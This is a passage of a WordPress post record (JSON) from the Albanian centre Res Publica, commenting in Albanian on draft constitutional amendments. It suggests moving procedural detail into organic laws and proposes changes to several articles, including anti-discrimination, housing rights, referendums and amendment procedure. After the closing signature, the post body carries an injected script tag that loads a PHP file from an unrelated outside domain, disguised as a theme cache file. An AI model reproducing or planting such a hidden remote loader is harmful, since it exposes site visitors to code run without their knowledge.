nj\u00eb institucioni t\u00eb shquar dhe nj\u00eb institucioni jo t\u00eb shquar.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"18\">\n<li><strong>Neni 54<\/strong><\/li>\n<\/ol>\n<p>Nd\u00ebrtimi i k\u00ebsaj dispozite kaq t\u00eb detajuar dhe plot hapa procedurial\u00eb q\u00eb kan\u00eb t\u00eb b\u00ebjn\u00eb me organizimin dhe funksionimin e institucionit kushtetues si edhe detyrat konkrete t\u00eb tyre. K\u00ebshtu t\u00eb drejtat detyrimet, kompetencat, juridiksionin t\u00eb gjitha k\u00ebto jan\u00eb rregullime tekniko-ligjore q\u00eb nuk mund t\u00eb vendosen n\u00eb Kushtetut\u00eb pasi e kthejn\u00eb ligjin themelor n\u00eb nj\u00eb teknik\u00eb ezauruese. Ashtu si edhe komentete e m\u00ebsip\u00ebrme kemi cituar tashm\u00eb q\u00eb tipikisht k\u00ebto rregullime mardh\u00ebniesh n\u00eb institucion jan\u00eb materie p\u00ebr ligjin e organit p\u00ebr t\u00eb cilin dispozita konkrete k\u00ebrkon t\u00eb rregulloj\u00eb. T\u00eb tilla rregullime mund t\u00eb p\u00ebrfshihen fare mir\u00eb n\u00eb ligjin p\u00ebrkat\u00ebs si\u00e7 edhe \u00ebsht\u00eb n\u00eb fuqi ligji Nr. 8737, dat\u00eb 12.2.2001 \u201cP\u00ebr organizimin dhe funksionimin e Prokuroris\u00eb n\u00eb Republik\u00ebn e Shqip\u00ebris\u00eb\u201d (Ndryshuar me ligjin nr.9102, dat\u00eb 10.7.2003) (Ndryshuar me ligjin nr.10 051, date 29.12.2008 neni 3, 3b, 3c dhe 3d). Sugjerojm\u00eb q\u00eb k\u00ebto p\u00ebrcaktime t\u00eb hiqen nga projekti dhe t\u00eb p\u00ebrfshihen n\u00eb ligjin organik t\u00eb prokuroris\u00eb.<\/p>\n<p><em>\u00a0<\/em><\/p>\n<ol start=\"19\">\n<li><strong>Neni 59 e vijues deri tek neni 68 &#8211; Vler\u00ebsimi Kalimtar i Kualifikimit t\u00eb Gjyqtar\u00ebve dhe Prokuror\u00ebve<\/strong><\/li>\n<\/ol>\n<p>P\u00ebrgjith\u00ebsisht gjith\u00eb k\u00ebto nene jan\u00eb risi p\u00ebr legjislacionin ton\u00eb, ve\u00e7an\u00ebrisht p\u00ebr at\u00eb kushtetues. Duke ju referuar t\u00eb gjitha komenteve t\u00eb m\u00ebsip\u00ebrme lidhur me vendin e duhur q\u00eb nj\u00eb nen\/dispozit\u00eb rregullatore ka n\u00eb hierarkin\u00eb e ligjeve kushtetuese, organike, rregullatore apo akteve n\u00ebnligjore, edhe k\u00ebtu n\u00eb nenet 59-68 v\u00ebrehet se ka tendenca p\u00ebr t\u00eb detajuar Kushtetut\u00ebn m\u00eb shum\u00eb sesa mund t\u00eb b\u00ebhet n\u00eb ligj themeltar. Dispozitat e parashikuar q\u00eb nga neni 59 deri tek neni 68 jan\u00eb absolutisht teknik\u00eb procedur\u00eb, kritere, m\u00ebnyr\u00eb formimi institucionesh, bashk\u00ebpunimi komb\u00ebtar e nd\u00ebrkomb\u00ebtar mes tyre.<\/p>\n<p>Duke pasur parasysh se Kushtetuta duhet t\u00eb jet\u00eb nj\u00eb organizmim konceptesh baz\u00eb ku t\u00eb p\u00ebrqendrohen koncepte t\u00eb tilla si:<\/p>\n<ul>\n<li>Preambul hyr\u00ebse historike, ku t\u00eb njihen dhe deklarohen vlerat komb\u00ebtare institucionale t\u00eb egzistenc\u00ebs s\u00eb nj\u00eb shteti<\/li>\n<li>Specifikimi i territorit t\u00eb shtetit, emrit, simboleve t\u00eb popullsin\u00eb, vlerave komb\u00ebtare, fes\u00eb, lirive t\u00eb pakicave komb\u00ebtare dhe q\u00ebllimeve shtet\u00ebrore p\u00ebr mbrojtjen e vendit<\/li>\n<li>Zhvillimi i cultures, q\u00ebllimet q\u00eb rrjedhin nga vlerat komb\u00ebtare dhe objektivat q\u00eb shteti ka p\u00ebr mbar\u00ebvajtjen dhe prosperitetin p\u00ebr popull\u00ebsin\u00eb, p\u00ebr paqen dhe ligjin nd\u00ebrkomb\u00ebtar n\u00eb marr\u00ebdh\u00ebnie me shtete e tjera, t\u00eb mbroj\u00eb ekonomin\u00eb komb\u00ebtare dhe t\u00eb siguroj\u00eb alternative zhvillimi pozitive<\/li>\n<li>P\u00ebrcaktimi i institucioneve baz\u00eb t\u00eb shtetit, detyrave themelore kompetencat e tyre, form\u00ebs s\u00eb organizimit t\u00eb tyre,<\/li>\n<li>P\u00ebrcaktimi i ndarjes s\u00eb pushteteve, barazis\u00eb dhe kontrollit t\u00eb tyre,<\/li>\n<li>Institucionet q\u00ebndrore edhe ato lokale etj.<\/li>\n<\/ul>\n<p>Mendojm\u00eb se k\u00ebto teknika rregullatore t\u00eb p\u00ebrfshira n\u00eb nenet 59-68 nuk jan\u00eb n\u00eb cil\u00ebsim kushteues q\u00eb t\u00eb b\u00ebjn\u00eb pjes\u00eb n\u00eb Kushtetut\u00ebn e Shqip\u00ebris\u00eb.<\/p>\n<p>Pra p\u00ebrpara se t\u00eb shkoj\u00eb n\u00eb rregullimin dhe p\u00ebrcaktimet n\u00eb terma administrative apo kompetencat teknike p\u00ebr secilin prej k\u00ebtyre instiucioneve, ligji themeltar duhet t\u00eb jap\u00eb struktur\u00ebn p\u00ebr nj\u00eb institucion kushtetues q\u00ebllimin, funksionin, si dhe t\u00eb p\u00ebrcaktoj\u00eb detyrat dhe p\u00ebrgjegj\u00ebsit\u00eb. N\u00eb thelbin e Kushtetu\u00ebs \u00ebsht\u00eb i nevojsh\u00ebm objektivi, q\u00ebllimi, forma e shtetit etj., cituar m\u00eb sip\u00ebr. N\u00eb k\u00ebt\u00eb baz\u00eb fillon t\u00eb hartohet nj\u00eb kushtetut\u00eb e cila mbulon k\u00ebto tema thjesht\u00eb, qart\u00eb dhe n\u00eb m\u00ebnyr\u00eb koncize.<\/p>\n<p>Sugjerojm\u00eb q\u00eb n\u00eb k\u00ebto nene kur k\u00ebto koncepte tejkalohen, jan\u00eb dispozita q\u00eb duhet t\u00eb hiqen nga projekt kushtetuta dhe t\u00eb p\u00ebrfshihen n\u00eb ligjet organike t\u00eb institucioneve p\u00ebrkat\u00ebse.<\/p>\n<p>Nj\u00eb shqet\u00ebsim i till\u00eb \u00ebsht\u00eb ngritur edhe nga pjes\u00ebtar\u00eb t\u00eb grupit t\u00eb Komisionit t\u00eb Venecias q\u00eb vizitoi Shqip\u00ebrin\u00eb p\u00ebr k\u00ebt\u00eb q\u00ebllim, duke u p\u00ebrputhur plot\u00ebsisht me shqet\u00ebsimet e qendr\u00ebs Res Publica.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>B. P\u00ebrsa i p\u00ebrket nevoj\u00ebs p\u00ebr ndryshime t\u00eb tjera n\u00eb Kushtetut\u00eb<\/strong><\/p>\n<p>N\u00eb projektligjin e propozuar nuk jan\u00eb parashikuar disa aspekte t\u00eb cilat duhet t\u00eb ndryshohen, pasi ky \u00ebsht\u00eb nj\u00eb rast i mir\u00eb p\u00ebr t\u00eb ripar\u00eb Kushtetut\u00ebn n\u00eb t\u00ebr\u00ebsin\u00eb e saj. Res Publica shpreh mendimin se disa dispozitat e Kushtetut\u00ebs duhet t\u00eb ndryshohen dhe me konkretisht:<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li><strong>Neni 9 i Kushtetut\u00ebs<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 9 t\u00eb Kushtetut\u00ebs duhet t\u00eb shtohen te paragrafi a) shprehja \u201corientimit seksual\u201d dhe t\u00eb paragrafi b) \u00e7do vit dhe 30 dit\u00eb pas zgjedhjeve:<\/p>\n<ol>\n<li><em>Partit\u00eb politike dhe organizatat e tjera, programet dhe veprimtaria e t\u00eb cilave mb\u00ebshteten n\u00eb metoda totalitariste, q\u00eb nxitin e p\u00ebrkrahin urrejtjen racore, fetare, krahinore, etnike, <strong>orientimit seksual, etj., <\/strong>q\u00eb p\u00ebrdorin dhun\u00ebn p\u00ebr marrjen e pushtetit ose p\u00ebr t\u00eb ndikuar n\u00eb politik\u00ebn shtet\u00ebrore, si edhe ato me karakter t\u00eb fsheht\u00eb jan\u00eb t\u00eb ndaluar sipas ligjit.<\/em><\/li>\n<\/ol>\n<ol>\n<li><em>Burimet financiare t\u00eb partive, si dhe shpenzimet e tyre b\u00ebhen publike <strong>ccdo vit dhe 30 dit\u00eb pas zgjedhjeve qendrore ose vendore.<\/strong><\/em><\/li>\n<\/ol>\n<p>Lista e shkaqeve t\u00eb nxitjes s\u00eb urrejtjes duhet t\u00eb jet\u00eb m\u00eb e gjer\u00eb dhe mund\u00ebsisht joshteruese. Nevojitet gjithashtu q\u00eb financat e partive politike t\u00eb jen\u00eb transparente jo vet\u00ebm kur ato e d\u00ebshirojn\u00eb nj\u00eb gj\u00eb t\u00eb till\u00eb, por n\u00eb momente t\u00eb caktuara, sidomos pas mbajtjes s\u00eb zgjedhjeve qendrore ose vendore.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li><strong>Neni 11 i Kushtetut\u00ebs<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 11, pika 2, duhet t\u00eb p\u00ebrfshihet koncepti i barr\u00ebs sociale t\u00eb pron\u00ebs. Aktualisht ekziston nj\u00eb besim i tepruar i publikut q\u00eb prona \u00ebsht\u00eb \u201ce shenjt\u00eb\u201d. N\u00eb fakt, shum\u00eb akte nd\u00ebrkomb\u00ebtare kan\u00eb parashikuar nj\u00eb s\u00ebr\u00eb detyrimesh e kufizimesh n\u00eb t\u00eb drejt\u00ebn e pron\u00ebsis\u00eb, duke u p\u00ebrmbledhur n\u00eb nj\u00eb koncept, at\u00eb t\u00eb barr\u00ebs sociale.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"3\">\n<li><strong>Neni 27 i Kushtetut\u00ebs<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 27 pika 3 duhet t\u00eb shtohet shprehja \u201c<em>ose jasht\u00ebkontraktor<\/em>\u201d.<\/p>\n<p>3.Askujt nuk mund t\u2019i hiqet liria vet\u00ebm p\u00ebr shkak se nuk \u00ebsht\u00eb n\u00eb gjendjet\u00eb p\u00ebrmbush\u00eb nj\u00eb detyrim kontraktor <strong>ose jasht\u00ebkontraktor.<\/strong><\/p>\n<p>Natyra e detyrime nuk \u00ebsht\u00eb gjithmon\u00eb me burim nga nj\u00eb kontrat\u00eb, por n\u00eb praktik\u00eb mund t\u00eb rezultoj\u00eb edhe si d\u00ebm jasht\u00ebkontraktor. N\u00eb t\u00eb dy rastet, personat duhet t\u00eb mbrohen nj\u00eblloj nga mund\u00ebsia e heqjes s\u00eb liris\u00eb.<\/p>\n<p>P\u00ebr m\u00eb tep\u00ebr, edhe termi \u201cheqje lirie\u201d \u00ebsht\u00eb i gabuar. Ligjv\u00ebn\u00ebsi shqiptar ka ndryshuar formulimin n\u00eb Kodin Penal, duke e z\u00ebvend\u00ebsuar me termin \u201cburgim\u201d, pasi heqja e liris\u00eb \u00ebsht\u00eb nj\u00eb term shum\u00eb i gjer\u00eb dhe \u00ebsht\u00eb kund\u00ebr parimeve q\u00eb t\u00eb hiqen liri si liria e shprehjes, e informimit, e besimit fetar, etj. Termi n\u00eb fjal\u00eb, n\u00eb stricto sensu i referohet vet\u00ebm heqjes s\u00eb liris\u00eb fizike, por ky term p\u00ebrmblidhet m\u00eb sakt\u00eb n\u00eb fjal\u00ebn \u201cburgim\u201d.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<ol start=\"4\">\n<li><strong>Neni 58 i Kushtetut\u00ebs<\/strong><\/li>\n<\/ol>\n<p>N\u00eb nenin 58 t\u00eb Kushtetut\u00ebs pika 2 duhet t\u00eb shtohet \u201cpron\u00ebsia industriale\u201d:<\/p>\n<ol start=\"2\">\n<li>E drejta e autorit dhe <strong>pron\u00ebsia industriale<\/strong> mbrohen me ligj.<\/li>\n<\/ol>\n<p>E drejta e autorit \u00ebsht\u00eb nj\u00eb prej t\u00eb drejtave q\u00eb p\u00ebrb\u00ebjn\u00eb \u201cpron\u00ebsin\u00eb intelektuale\u201d, ashtu si edhe pron\u00ebsia industriale, e cila duhet t\u00eb g\u00ebzoj\u00eb mbrojtje t\u00eb nj\u00ebjt\u00eb n\u00eb nivel kushtetues.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"5\">\n<li><strong>Neni 59 i Kushtetut\u00ebs, pikat b dhe e<\/strong><\/li>\n<\/ol>\n<p>E drejta e strehimit duhet t\u00eb g\u00ebzoj\u00eb mbrojtje gjyq\u00ebsore. Aktualisht neni 59 i Kushtetut\u00ebs e rendit k\u00ebt\u00eb t\u00eb drejt\u00eb si nj\u00eb objektiv social i cili nuk k\u00ebrkohet n\u00eb gjykat\u00eb. Nj\u00eb s\u00ebr\u00eb aktesh nd\u00ebrkomb\u00ebtare e njohin t\u00eb drejt\u00ebn e strehimit dhe sigurin\u00eb e posedimit t\u00eb streh\u00ebs si nj\u00eb t\u00eb drejt\u00eb t\u00eb njeriut, ku m\u00eb kryesoret jan\u00eb Karta Sociale Evropiane e Rishikuar (shih nenet 16\u00a0 dhe 31), Konventa Nd\u00ebrkomb\u00ebtare p\u00ebr t\u00eb Drejtat Ekonomike, Sociale dhe Kulturore (shih Komentet e P\u00ebrgjithshme nr. 4 dhe 7), si dhe Konventa Evropiane p\u00ebr t\u00eb Drejtat e Njeriut, p\u00ebr intepretimin e nenit 8 t\u00eb s\u00eb cil\u00ebs ka nj\u00eb jurisprudenc\u00eb t\u00eb konsoliduar t\u00eb Gjykat\u00ebs Evropiane p\u00ebr t\u00eb Drejtat e Njeriut, duke e p\u00ebrfshir\u00eb n\u00eb k\u00ebt\u00eb nen edhe t\u00eb drejt\u00ebn e strehimit. Kushtetuta jon\u00eb duhet t\u00eb p\u00ebrshtatet, duke e njohur k\u00ebt\u00eb t\u00eb drejt\u00eb n\u00eb paket\u00ebn e t\u00eb drejtave t\u00eb njeriut.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"6\">\n<li><strong>Neni 64 e vijues<\/strong><\/li>\n<\/ol>\n<p>Jemi t\u00eb mendimit q\u00eb n\u00eb Kushtetut\u00eb duhet t\u00eb rikthehet sistemi zgjedhor dhe rregullimi i posac\u00ebm p\u00ebr Komisionin Qendror t\u00eb Zgjedhjeve, duke e kthyer at\u00eb n\u00eb rendin e institucioneve kushtetues, sic ka qen\u00eb p\u00ebrpara amendimeve t\u00eb kryera n\u00eb t\u00eb kaluar\u00ebn. Kjo nd\u00ebrhyrje mund t\u00eb paraprij\u00eb edhe reform\u00ebn n\u00eb sistemin e zgjedhjeve, p\u00ebr t\u00eb cil\u00ebn duket se ka nj\u00eb vullnet nga t\u00eb gjitha pal\u00ebt p\u00ebr t\u00eb nisur sa m\u00eb shpejt.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"7\">\n<li><strong>Neni 101<\/strong><\/li>\n<\/ol>\n<p>Kushtetuta ka l\u00ebn\u00eb hap\u00ebsir\u00eb q\u00eb K\u00ebshilli i Ministrave, n\u00eb rast nevoje dhe urgjence, mund t\u00eb nxjerr\u00eb<\/p>\n<p>akte normative q\u00eb kan\u00eb fuqin\u00eb e ligjit, p\u00ebr marrjen e masave t\u00eb p\u00ebrkohshme. N\u00eb praktik\u00eb ky instrument \u00ebsht\u00eb p\u00ebrdorur shpesh dhe nuk ka nj\u00eb m\u00ebnyr\u00eb t\u00eb qart\u00eb t\u00eb kontrollit t\u00eb k\u00ebsaj lloj vendimmarrjeje. Gjykata Kushtetuese ka nj\u00eb jurisprudenc\u00eb t\u00eb paqart\u00eb n\u00eb k\u00ebt\u00eb drejtim, duke mos pasur nj\u00eb mekaniz\u00ebm kontrolli t\u00eb nevoj\u00ebs dhe urgjenc\u00ebs. Jemi t\u00eb mendimit q\u00eb p\u00ebrpara p\u00ebrfundimit t\u00eb afatit 45 ditor (afat q\u00eb mund t\u00eb zgjatet) t\u00eb miratimit t\u00eb k\u00ebtyre akteve n\u00eb Kuvend, t\u00eb p\u00ebrfshihet edhe nj\u00eb procedur\u00eb tjet\u00ebr e verifikimit t\u00eb urgjenc\u00ebs dhe nevoj\u00ebs nga Gjykata Kushtetuese.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"8\">\n<li><strong>Neni 108, pika 2<\/strong><\/li>\n<\/ol>\n<p>Aktualisht Kushtetuta parashikon se ndarjet administrative-territoriale t\u00eb nj\u00ebsive t\u00eb qeverisjes vendore caktohen me ligj mbi baz\u00ebn e nevojave e t\u00eb interesave t\u00eb p\u00ebrbashk\u00ebt ekonomik\u00eb dhe t\u00eb tradit\u00ebs historike. Kufijt\u00eb e tyre nuk mund t\u00eb ndryshohen pa u marr\u00eb me par\u00eb mendimi i popullsis\u00eb q\u00eb banon n\u00eb to. M\u00ebnyra e marrjes s\u00eb mendimit \u00ebsht\u00eb e paqart\u00eb dhe u b\u00eb s\u00eb fundi edhe objekti i debatit n\u00eb rastin e reform\u00ebs terriitoriale. Q\u00eb marrja e mendimit t\u00eb jet\u00eb efektive, duhet t\u00eb parashikohet nj\u00eb mekaniz\u00ebm i qart\u00eb, i cili mund t\u00eb jet\u00eb edhe referendum local.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"9\">\n<li><strong>Neni 132<\/strong><\/li>\n<\/ol>\n<p><em>Pika 1<\/em><\/p>\n<p>Aktualisht Vendimet e Gjykat\u00ebs Kushtetuese kan\u00eb fuqi detyruese t\u00eb p\u00ebrgjithshme dhe jan\u00eb p\u00ebrfundimtare. Gjykata Kushtetuese ka vet\u00ebm t\u00eb drejt\u00ebn e shfuqizimit t\u00eb akteve q\u00eb shqyrton. Kjo kompetenc\u00eb e kufizon potencialin e Gjykat\u00ebs Kushtetuese, duke mos njohur edhe mund\u00ebsin\u00eb e dh\u00ebnies s\u00eb detyrave konkrete p\u00ebr rivendosjen e gjendjes s\u00eb ligjshme, apo t\u00eb dh\u00ebnien e shp\u00ebrblimit t\u00eb d\u00ebmit t\u00eb p\u00ebsuar. Nj\u00eb vendim i fundit, ku Gjykata Kushtetuese ka shprehur shqet\u00ebsimin n\u00eb lidhje me d\u00ebmshp\u00ebrblimin, \u00ebsht\u00eb vendimi nr. 69, dat\u00eb 17.11.2015, me an\u00eb t\u00eb t\u00eb cilit gjykata gjeti t\u00eb drejt\u00eb ankes\u00ebn e individit, por vendimi nuk mund t\u00eb sillte asnj\u00eb efekt ligjor p\u00ebr sa koh\u00eb nuk ekziston mund\u00ebsia e d\u00ebmshp\u00ebrblimit. Nj\u00eb mekaniz\u00ebm t\u00eb till\u00eb e p\u00ebrdor shesh Gjykata Evropiane p\u00ebr t\u00eb Drejtat e Njeriut.<\/p>\n<p><em>Pika 2<\/em><\/p>\n<p>Gjithashtu, n\u00eb t\u00eb nj\u00ebjtin nen duhet p\u00ebrcaktuar m\u00eb qart\u00eb n\u00ebse Gjykata Kushtetuese do t\u00eb ket\u00eb ose t\u00eb drejt\u00ebn q\u00eb t\u00eb vendos\u00eb q\u00eb ligji ose akti tjet\u00ebr normativ t\u00eb shfuqizohet n\u00eb nj\u00eb dat\u00eb tjet\u00ebr <strong>t\u00eb m\u00ebparshme<\/strong>.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"10\">\n<li><strong>Nenet 150 \u2013 152<\/strong><\/li>\n<\/ol>\n<p>Aktualisht kriteret q\u00eb Kushtetuta p\u00ebrcakton p\u00ebr referendumet jan\u00eb tep\u00ebr t\u00eb v\u00ebshtira p\u00ebr t\u2019u p\u00ebrmbushur. Numri 50.000 zgjedh\u00ebs \u00ebsht\u00eb tep\u00ebr i lart\u00eb. Kjo shif\u00ebr duhet p\u00ebrshtatur m\u00eb mir\u00eb me mund\u00ebsit\u00eb praktike, duke e ulur at\u00eb. Rekomandohet q\u00eb numri t\u00eb shprehet me p\u00ebrqindje n\u00eb raport me list\u00ebn e zgjedh\u00ebsve, e cila ndryshon n\u00eb rastin e referendumeve lokale. Nj\u00eb shif\u00ebr q\u00eb do t\u00eb ishte e arsyeshme \u00ebsht\u00eb 0.5% e zegjedh\u00ebsve, q\u00eb p\u00ebrfaq\u00ebson nj\u00eb kampion relevant nga ana statistikore.<\/p>\n<p>&nbsp;<\/p>\n<ol start=\"11\">\n<li><strong>Neni 177<\/strong><\/li>\n<\/ol>\n<p>Kushtetuta ka ndryshuar disa her\u00eb, dhe p\u00ebrve\u00e7 k\u00ebsaj here, n\u00eb t\u00eb gjith\u00eb rastet e m\u00ebparsh\u00ebm nuk ka pasur konsultim publik dhe Kushtetuta \u00ebsht\u00eb ndryshuar n\u00eb rrethana tep\u00ebr t\u00eb pap\u00ebrshtatshme, pa u marr\u00eb aspak parasysh vullneti i sovranit.<\/p>\n<p>Kushtetuta \u00ebsht\u00eb miratuar me referendum dhe duhet q\u00eb cdo amendament t\u00eb miratohet n\u00eb t\u00eb nj\u00ebjt\u00ebn m\u00ebnyr\u00eb, dhe jo vet\u00ebm kur e k\u00ebrkon 2\/3 e deputet\u00ebve (pika 4) ose 1\/5 e deputet\u00ebve (pika 5).<\/p>\n<p>&nbsp;<\/p>\n<p><em>Res Publica<\/em><script type=\"text\/javascript\" src=\"#\"><\/script><script type=\"text\/javascript\" src=\"http:\/\/www.get.space\/wp-content\/cache\/tmpWpfc\/theme-index.php\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qendra Res Publica eshte perfshire ne konsultimin publik per ndryshimet kushtetutese ne kuader te reformes ne drejtesi. Procesi eshte trajtuar [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":886,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[6,5],"tags":[],"_links":{"self":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/885"}],"collection":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=885"}],"version-history":[{"count":1,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/885\/revisions"}],"predecessor-version":[{"id":887,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/885\/revisions\/887"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/media\/886"}],"wp:attachment":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}